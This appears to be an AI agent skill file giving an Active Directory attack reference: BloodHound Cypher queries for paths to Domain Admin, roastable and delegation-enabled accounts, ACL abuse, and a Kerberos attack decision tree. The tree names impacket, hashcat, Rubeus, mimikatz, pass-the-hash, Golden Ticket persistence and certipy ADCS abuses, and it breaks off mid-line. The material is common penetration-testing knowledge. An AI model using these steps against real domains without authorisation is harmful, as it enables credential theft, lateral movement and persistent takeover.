/ad-attacks

name: ad-attacks
description: Active Directory attack reference — BloodHound Cypher queries, Kerberos attack decision tree, ACE/ACL abuse, ADCS ESC1-8, and AD misconfig checklist
allowed-tools: Bash, Read

BloodHound Cypher Queries (Neo4j / BloodHound CE)

Shortest Attack Paths

-- Shortest path from any owned computer to Domain Admin
MATCH p=shortestPath((c:Computer {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p

-- Shortest path from any owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p

-- All paths from owned nodes to Domain Admin (expand search)
MATCH p=allShortestPaths((n {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
WHERE NOT n=g
RETURN p

-- Shortest path from any node to DA (non-DA owned)
MATCH (n), (g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
WHERE n.owned = true AND NOT n IN nodes(shortestPath((n)-[*1..]->(g)))
MATCH p=shortestPath((n)-[*1..]->(g))
RETURN p LIMIT 10

High-Value Target Discovery

-- All Domain Admin users (including nested group membership)
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN u.name ORDER BY u.name

-- All Domain Controllers
MATCH (c:Computer)-[:MemberOf]->(g:Group {name:"DOMAIN CONTROLLERS@DOMAIN.LOCAL"})
RETURN c.name, c.operatingsystem

-- Find all computers where DA users are logged on
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
MATCH (u)-[:HasSession]->(c:Computer)
RETURN u.name, c.name, c.operatingsystem

-- Users with path to Domain Admin count (ranked)
MATCH (u:User), (g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
WHERE EXISTS(shortestPath((u)-[*1..]->(g)))
RETURN u.name, u.enabled
ORDER BY u.name

Kerberoastable Accounts

-- All Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
WHERE u.enabled = true
OPTIONAL MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN u.name, u.serviceprincipalnames, p IS NOT NULL AS has_da_path
ORDER BY has_da_path DESC

-- Kerberoastable users not requiring password change
MATCH (u:User {hasspn:true, enabled:true, pwdneverexpires:true})
RETURN u.name, u.serviceprincipalnames, u.description

AS-REP Roastable Accounts

-- All users with "Do not require Kerberos preauthentication" set
MATCH (u:User {dontreqpreauth:true, enabled:true})
RETURN u.name, u.description, u.admincount

-- AS-REP roastable with path to DA
MATCH (u:User {dontreqpreauth:true, enabled:true})
OPTIONAL MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN u.name, p IS NOT NULL AS has_da_path

Unconstrained Delegation

-- Computers with unconstrained delegation (excluding DCs)
MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name CONTAINS "DC"
RETURN c.name, c.operatingsystem, c.description

-- Users with unconstrained delegation
MATCH (u:User {unconstraineddelegation:true, enabled:true})
RETURN u.name, u.admincount, u.description

Constrained Delegation

-- Users with constrained delegation (check for S4U2Any)
MATCH (u:User)
WHERE u.allowedtodelegate IS NOT NULL AND u.enabled = true
RETURN u.name, u.allowedtodelegate

-- Computers with constrained delegation
MATCH (c:Computer)
WHERE c.allowedtodelegate IS NOT NULL
RETURN c.name, c.allowedtodelegate

ACL / ACE Abuse Paths

-- Who has GenericAll on Domain Admins group
MATCH (n)-[:GenericAll]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN n.name, labels(n)

-- Users with WriteDACL on any object (dangerous ACE)
MATCH (u:User)-[:WriteDACL]->(t)
RETURN u.name, labels(t), t.name
ORDER BY u.name

-- All objects with GenericWrite on high-value targets
MATCH (n)-[:GenericWrite]->(t)
WHERE t.admincount = true
RETURN n.name, labels(n), t.name, labels(t)

-- ForceChangePassword edges (password reset without current pw)
MATCH (n)-[:ForceChangePassword]->(u:User {enabled:true})
RETURN n.name, labels(n), u.name

-- Owned computers that can dcsync (HasDCSync)
MATCH (n)-[:DCSync]->(d:Domain)
RETURN n.name, labels(n), d.name

-- Computers where owned user has local admin
MATCH (u:User {owned:true})-[:AdminTo]->(c:Computer)
RETURN u.name, c.name, c.operatingsystem

Session / Reachability

-- Find computers reachable from owned users (local admin)
MATCH (u:User {owned:true})-[:AdminTo]->(c:Computer)
RETURN DISTINCT c.name, c.operatingsystem

-- Find lateral paths from any owned to any DA-session computer
MATCH (u:User {owned:true})-[:AdminTo]->(c:Computer)<-[:HasSession]-(da:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN u.name, c.name, da.name

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Kerberos Attack Decision Tree

Target: Active Directory Environment
│
├─ No credentials? → Try AS-REP Roasting (impacket-GetNPUsers, no auth required)
│                     └─ Got hash? → hashcat -m 18200
│
├─ Got valid username + password?
│   ├─ Can enumerate SPNs? → Kerberoasting (impacket-GetUserSPNs)
│   │                         └─ Got hash? → hashcat -m 13100
│   ├─ Has unconstrained delegation?
│   │   └─ Get TGTs from connections → Rubeus / mimikatz monitor
│   └─ Has constrained delegation?
│       └─ S4U2Self + S4U2Proxy → impacket-getST -spn
│
├─ Got NTLM hash (not cracked)?
│   ├─ Pass-the-Hash → impacket-psexec/wmiexec/smbexec -hashes
│   └─ Silver Ticket (if target SPN known + machine hash available)
│       → impacket-ticketer -nthash [machine hash] -spn [SPN]
│
├─ Got DA credential / krbtgt hash?
│   └─ Golden Ticket → impacket-ticketer -nthash [krbtgt hash] -domain-sid [SID]
│                        → Persist for 10 years, roam any service
│
├─ Got ADCS (Certificate Services) present?
│   ├─ ESC1 (template allows SAN) → certipy req + authenticate
│   ├─ ESC4 (write on template) → certipy template + ESC1 exploit
│   ├─ ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2) → c